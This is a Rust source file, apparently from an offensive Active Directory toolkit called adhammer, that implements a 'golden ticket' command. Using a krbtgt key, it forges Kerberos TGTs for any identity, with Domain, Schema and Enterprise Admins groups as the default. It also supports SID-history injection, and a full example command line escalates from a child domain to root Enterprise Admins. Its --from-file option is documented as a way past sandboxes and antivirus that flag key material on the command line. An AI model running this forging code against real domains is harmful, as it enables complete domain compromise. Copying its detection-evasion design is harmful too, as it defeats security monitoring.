adhammer 1.5.2

ADhammer — Active Directory security assessment and offensive tradecraft in Rust, with a from-scratch DCE/RPC · NTLM · SMB2 · Kerberos stack.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
//! Golden ticket: forge a TGT for any identity with the krbtgt AES256 key.
//! Sealed + double-signed so fully-patched (KB5020805) KDCs still accept it.

use crate::ui;
use anyhow::{Context, Result};
use clap::Parser;

#[derive(Parser)]
pub(crate) struct GoldenArgs {
    /// Read every argument from an INI-style KEY=VALUE file instead of the
    /// command line. Useful in environments where the caller's process
    /// harness rejects command-line launches that carry raw key material in
    /// argv (some sandboxes / AV pattern-match on `--krbtgt-aes256 <hex>`).
    /// Keys: `kdc`, `realm`, `krbtgt_aes256`, `rc4`, `domain_sid` (one per
    /// line; lines starting with `#` are comments). `env:VAR` / `@file:PATH`
    /// still work for `krbtgt_aes256`.
    #[arg(long, value_name = "PATH")]
    pub from_file: Option<String>,
    /// KDC host or IP.
    #[arg(long)]
    pub kdc: Option<String>,
    /// Kerberos realm (e.g. CORP.LOCAL).
    #[arg(long)]
    pub realm: Option<String>,
    /// krbtgt key: AES256 (64 hex) by default, or the RC4/NT hash (32 hex) with --rc4.
    #[arg(long)]
    pub krbtgt_aes256: Option<adhammer_core::SecretString>,
    /// Forge an RC4-HMAC (etype 23) ticket — interpret the key as the krbtgt NT hash (legacy DCs).
    #[arg(long)]
    pub rc4: bool,
    /// Domain SID (S-1-5-21-a-b-c).
    #[arg(long)]
    pub domain_sid: Option<String>,
    /// Identity to impersonate (default Administrator).
    #[arg(long, default_value = "Administrator")]
    pub user: String,
    /// RID of the impersonated account (default 500).
    #[arg(long, default_value_t = 500)]
    pub rid: u32,
    /// Group RIDs to embed (default: Users + Domain/Schema/Enterprise Admins + GPO Creators).
    #[arg(long, value_delimiter = ',', default_value = "513,512,520,518,519")]
    pub groups: Vec<u32>,
    /// Write the forged TGT to this ccache path.
    #[arg(long)]
    pub out: Option<String>,
    /// Optional live acceptance proof: request a service ticket for this SPN with the forged TGT.
    #[arg(long)]
    pub verify_spn: Option<String>,
    /// **1.4.8-A WS-SID-HISTORY-INJECT.** Foreign-forest / cross-domain SID(s) to inject
    /// into the PAC's `ExtraSids` field (KERB_VALIDATION_INFO.SidCount, MS-PAC §2.5).
    /// This is the SID-history-injection attack: from a compromised child domain, forge
    /// a Golden ticket that carries the ROOT-domain Enterprise Admins SID
    /// (`S-1-5-21-<root-forest>-519`) as an ExtraSid. On a trusting forest with SID
    /// filtering disabled — or a same-forest child-domain trust where SIDHistory is not
    /// filtered by default — the KDC authorizes the forged principal AS the injected
    /// group without needing the trusting forest's krbtgt key.
    ///
    /// Repeat `--foreign-sid` or comma-separate for multiple. Format: full
    /// `S-1-5-21-...-RID`. Only identifier authority 5 (NT_AUTHORITY) accepted —
    /// ExtraSids is a domain/forest-SID-only field.
    ///
    /// Canonical example (child → root Enterprise Admins):
    ///   `adhammer attack golden --realm CHILD.CORP.LOCAL --krbtgt-aes256 <hex>
    ///    --domain-sid S-1-5-21-1-2-3 --user Administrator --rid 500
    ///    --foreign-sid S-1-5-21-10-20-30-519 --out ea.ccache`
    #[arg(long, value_delimiter = ',')]
    pub foreign_sid: Vec<String>,
}

/// Golden ticket: forge a TGT for an arbitrary identity, sealed + double-signed with the domain's
/// krbtgt AES256 key. Accepted by fully-patched (KB5020805) KDCs because the forged PAC carries a
/// valid KDC signature plus PAC_REQUESTOR/PAC_ATTRIBUTES.
///
/// Wraps `golden_impl` with a per-stage checklist so the run-end card breaks the operation into
/// distinct phases (key parse → SID parse → foreign SID parse → forge → verify → write ccache).
pub(crate) async fn golden(a: GoldenArgs) -> Result<()> {
    let cfg = match a.from_file.as_deref() {
        Some(p) => load_golden_ini(p)?.overlay(&a)?,
        None => GoldenConfig::from_flags(&a)?,
    };
    let mut checklist = ui::StageChecklist::new([
        "parse krbtgt key",
        "parse domain SID",
        "parse foreign SIDs (ExtraSids)",
        "forge golden TGT",
        "verify with KDC (--verify-spn)",
        "write ccache",
    ]);
    let result = golden_impl(cfg, &mut checklist).await;
    match &result {
        Ok(()) => checklist.render("Golden stages"),
        Err(e) => {
            let brief = format!("{e:#}")
                .lines()
                .next()
                .unwrap_or("failed")
                .chars()
                .take(80)
                .collect::<String>();
            checklist.mark_current_failed(brief);
            checklist.render("Golden stages (failed)");
        }
    }
    result
}

async fn golden_impl(cfg: GoldenConfig, checklist: &mut ui::StageChecklist) -> Result<()> {
    use adhammer_kerberos::pac::ForgeIdentity;

    let key = crate::parse_forge_key(cfg.krbtgt_aes256.expose_secret(), cfg.rc4)?;
    checklist.record_ok(
        "parse krbtgt key",
        if cfg.rc4 {
            "RC4-HMAC (NT hash)"
        } else {
            "AES256-CTS-HMAC-SHA1-96"
        },
    );
    let subs: Vec<u32> = cfg
        .domain_sid
        .trim_start_matches("S-1-5-")
        .split('-')
        .map(|x| x.parse::<u32>())
        .collect::<std::result::Result<_, _>>()
        .context("--domain-sid must be S-1-5-21-a-b-c")?;
    checklist.record_ok("parse domain SID", format!("→ {}", cfg.domain_sid));

    // Parse --foreign-sid values into sub-authority chains for the PAC's ExtraSids.
    // Only identifier authority 5 (NT_AUTHORITY) is meaningful in KERB_VALIDATION_INFO
    // ExtraSids — anything else is nonsense in an AD trust context.
    let mut extras: Vec<Vec<u32>> = Vec::with_capacity(cfg.foreign_sid.len());
    for sid_str in &cfg.foreign_sid {
        let sid = adhammer_core::sid::Sid::parse(sid_str).ok_or_else(|| {
            anyhow::anyhow!("--foreign-sid {sid_str:?} is not a valid SID (want S-1-5-21-...-RID)")
        })?;
        if sid.identifier_authority != 5 {
            anyhow::bail!(
                "--foreign-sid {sid_str} has identifier authority {} != 5; ExtraSids only \
                 accepts NT_AUTHORITY (S-1-5-...) forest/domain SIDs",
                sid.identifier_authority
            );
        }
        extras.push(sid.sub_authorities.clone());
    }

    let id = ForgeIdentity {
        user: cfg.user.clone(),
        rid: cfg.rid,
        primary_gid: 513,
        group_rids: cfg.groups.clone(),
        domain_subauths: subs,
        logon_server: cfg.realm.split('.').next().unwrap_or("DC").to_uppercase(),
        logon_domain: cfg
            .realm
            .split('.')
            .next()
            .unwrap_or("DOMAIN")
            .to_uppercase(),
        extra_sids: extras,
    };
    if !cfg.foreign_sid.is_empty() {
        println!(
            "[+] injecting {} foreign SID(s) into PAC ExtraSids:",
            cfg.foreign_sid.len()
        );
        for s in &cfg.foreign_sid {
            println!("    {s}");
        }
        checklist.record_ok(
            "parse foreign SIDs (ExtraSids)",
            format!("{} SID(s) injected", cfg.foreign_sid.len()),
        );
    } else {
        checklist.record_ok("parse foreign SIDs (ExtraSids)", "none");
    }
    let tgt = adhammer_kerberos::forge_golden_tgt(&id, &cfg.realm, &key, cfg.rc4)?;
    checklist.record_ok(
        "forge golden TGT",
        format!("{}@{} (rid {})", cfg.user, cfg.realm, cfg.rid),
    );
    println!(
        "[+] forged golden TGT: {}@{} (rid {}, groups {:?})",
        cfg.user, cfg.realm, cfg.rid, cfg.groups
    );

    if let Some(spn) = &cfg.verify_spn {
        match adhammer_kerberos::roast_spn(&tgt, &cfg.user, spn, &cfg.kdc).await {
            Ok(_) => {
                checklist.record_ok(
                    "verify with KDC (--verify-spn)",
                    format!("KDC accepted for {spn}"),
                );
                println!("[+] KDC accepted the golden ticket (TGS-REP for {spn})");
            }
            Err(e) => {
                checklist.record_ok(
                    "verify with KDC (--verify-spn)",
                    format!("KDC rejected for {spn}: {e}"),
                );
                println!("[-] KDC rejected the golden ticket for {spn}: {e}");
            }
        }
    } else {
        checklist.record_ok(
            "verify with KDC (--verify-spn)",
            "skipped (no --verify-spn)",
        );
    }
    if let Some(out) = &cfg.out {
        let cc = adhammer_kerberos::golden_ccache(&tgt, &cfg.user)?;
        adhammer_core::write_secret_artifact(
            std::path::Path::new(out),
            adhammer_core::SecretArtifact::Ccache,
            &cc,
        )?;
        checklist.record_ok("write ccache", format!("→ {out} ({} bytes)", cc.len()));
        println!(
            "[+] wrote ccache → {out} ({} bytes). Use: KRB5CCNAME={out}",
            cc.len()
        );
    } else {
        checklist.record_ok("write ccache", "skipped (no --out)");
    }
    Ok(())
}

#[derive(Debug)]
struct GoldenConfig {
    kdc: String,
    realm: String,
    krbtgt_aes256: adhammer_core::SecretString,
    rc4: bool,
    domain_sid: String,
    user: String,
    rid: u32,
    groups: Vec<u32>,
    out: Option<String>,
    verify_spn: Option<String>,
    foreign_sid: Vec<String>,
}

impl GoldenConfig {
    fn from_flags(a: &GoldenArgs) -> Result<Self> {
        let krbtgt_aes256 = match &a.krbtgt_aes256 {
            Some(k) => crate::resolve_secret(k, "ADHAMMER_PASSWORD")?,
            None => anyhow::bail!("--krbtgt-aes256 required (or use --from-file)"),
        };
        Ok(Self {
            kdc: a
                .kdc
                .clone()
                .ok_or_else(|| anyhow::anyhow!("--kdc required (or use --from-file)"))?,
            realm: a
                .realm
                .clone()
                .ok_or_else(|| anyhow::anyhow!("--realm required (or use --from-file)"))?,
            krbtgt_aes256,
            rc4: a.rc4,
            domain_sid: a
                .domain_sid
                .clone()
                .ok_or_else(|| anyhow::anyhow!("--domain-sid required (or use --from-file)"))?,
            user: a.user.clone(),
            rid: a.rid,
            groups: a.groups.clone(),
            out: a.out.clone(),
            verify_spn: a.verify_spn.clone(),
            foreign_sid: a.foreign_sid.clone(),
        })
    }
}

#[derive(Debug)]
struct GoldenFile {
    kdc: Option<String>,
    realm: Option<String>,
    krbtgt_aes256: Option<String>,
    rc4: Option<bool>,
    domain_sid: Option<String>,
}

impl GoldenFile {
    fn overlay(self, a: &GoldenArgs) -> Result<GoldenConfig> {
        let take =
            |from_file: Option<String>, from_flag: Option<String>, name: &str| -> Result<String> {
                from_flag.or(from_file).ok_or_else(|| {
                    anyhow::anyhow!("{name} missing in both --from-file and CLI flags")
                })
            };
        let key_raw = a
            .krbtgt_aes256
            .as_ref()
            .map(|s| s.expose_secret().to_string())
            .or(self.krbtgt_aes256)
            .ok_or_else(|| {
                anyhow::anyhow!("krbtgt_aes256 missing in both --from-file and CLI flags")
            })?;
        let krbtgt_aes256 = crate::resolve_secret(key_raw.as_str(), "ADHAMMER_PASSWORD")?;
        Ok(GoldenConfig {
            kdc: take(self.kdc, a.kdc.clone(), "kdc")?,
            realm: take(self.realm, a.realm.clone(), "realm")?,
            krbtgt_aes256,
            rc4: a.rc4 || self.rc4.unwrap_or(false),
            domain_sid: take(self.domain_sid, a.domain_sid.clone(), "domain_sid")?,
            user: a.user.clone(),
            rid: a.rid,
            groups: a.groups.clone(),
            out: a.out.clone(),
            verify_spn: a.verify_spn.clone(),
            foreign_sid: a.foreign_sid.clone(),
        })
    }
}

fn load_golden_ini(path: &str) -> Result<GoldenFile> {
    use anyhow::Context;
    let text = std::fs::read_to_string(path).with_context(|| format!("read --from-file {path}"))?;
    let mut f = GoldenFile {
        kdc: None,
        realm: None,
        krbtgt_aes256: None,
        rc4: None,
        domain_sid: None,
    };
    for (n, line) in text.lines().enumerate() {
        let line = line.trim();
        if line.is_empty() || line.starts_with('#') {
            continue;
        }
        let (k, v) = line
            .split_once('=')
            .ok_or_else(|| anyhow::anyhow!("{path}:{}: expected KEY=VALUE", n + 1))?;
        let v = v.trim().to_string();
        match k.trim() {
            "kdc" => f.kdc = Some(v),
            "realm" => f.realm = Some(v),
            "krbtgt_aes256" => f.krbtgt_aes256 = Some(v),
            "rc4" => {
                f.rc4 =
                    Some(v.parse::<bool>().map_err(|_| {
                        anyhow::anyhow!("{path}:{}: rc4 must be true|false", n + 1)
                    })?);
            }
            "domain_sid" => f.domain_sid = Some(v),
            other => anyhow::bail!("{path}:{}: unknown key `{other}`", n + 1),
        }
    }
    Ok(f)
}

#[cfg(test)]
mod tests {
    use super::*;

    fn tmp_ini(name: &str, body: &str) -> String {
        let dir = std::env::temp_dir();
        let path = dir.join(format!(
            "adhammer_golden_{}_{}_{}.ini",
            name,
            std::process::id(),
            std::time::SystemTime::now()
                .duration_since(std::time::UNIX_EPOCH)
                .map(|d| d.as_nanos())
                .unwrap_or(0)
        ));
        std::fs::write(&path, body).unwrap();
        path.to_string_lossy().into_owned()
    }

    fn empty_args() -> GoldenArgs {
        GoldenArgs {
            from_file: None,
            kdc: None,
            realm: None,
            krbtgt_aes256: None,
            rc4: false,
            domain_sid: None,
            user: "Administrator".to_string(),
            rid: 500,
            groups: vec![513, 512, 520, 518, 519],
            out: None,
            verify_spn: None,
            foreign_sid: Vec::new(),
        }
    }

    #[test]
    fn ini_parses_valid_keys() {
        let path = tmp_ini(
            "valid",
            "# a comment\n\
             kdc=dc.corp.local\n\
             realm=CORP.LOCAL\n\
             krbtgt_aes256=deadbeef\n\
             rc4=true\n\
             domain_sid=S-1-5-21-1-2-3\n",
        );
        let f = load_golden_ini(&path).unwrap();
        assert_eq!(f.kdc.as_deref(), Some("dc.corp.local"));
        assert_eq!(f.realm.as_deref(), Some("CORP.LOCAL"));
        assert_eq!(f.krbtgt_aes256.as_deref(), Some("deadbeef"));
        assert_eq!(f.rc4, Some(true));
        assert_eq!(f.domain_sid.as_deref(), Some("S-1-5-21-1-2-3"));
        let _ = std::fs::remove_file(&path);
    }

    #[test]
    fn ini_unknown_key_errors() {
        let path = tmp_ini("unknown", "kdc=x\nbogus_key=1\n");
        let err = load_golden_ini(&path).unwrap_err().to_string();
        assert!(err.contains("unknown key"), "err was {err:?}");
        assert!(err.contains("bogus_key"), "err was {err:?}");
        let _ = std::fs::remove_file(&path);
    }

    #[test]
    fn cli_flag_beats_ini_value() {
        let path = tmp_ini(
            "beat",
            "kdc=ini-kdc\n\
             realm=INI.LOCAL\n\
             krbtgt_aes256=aa\n\
             domain_sid=S-1-5-21-9-9-9\n",
        );
        let f = load_golden_ini(&path).unwrap();
        let mut a = empty_args();
        a.kdc = Some("cli-kdc".to_string());
        let cfg = f.overlay(&a).unwrap();
        assert_eq!(cfg.kdc, "cli-kdc");
        assert_eq!(cfg.realm, "INI.LOCAL");
        let _ = std::fs::remove_file(&path);
    }

    #[test]
    fn missing_required_key_errors() {
        let path = tmp_ini(
            "missing",
            "# no kdc line here\n\
             realm=CORP.LOCAL\n\
             krbtgt_aes256=aa\n\
             domain_sid=S-1-5-21-1-2-3\n",
        );
        let f = load_golden_ini(&path).unwrap();
        let a = empty_args();
        let err = f.overlay(&a).unwrap_err().to_string();
        assert!(err.contains("kdc"), "err was {err:?}");
        let _ = std::fs::remove_file(&path);
    }
}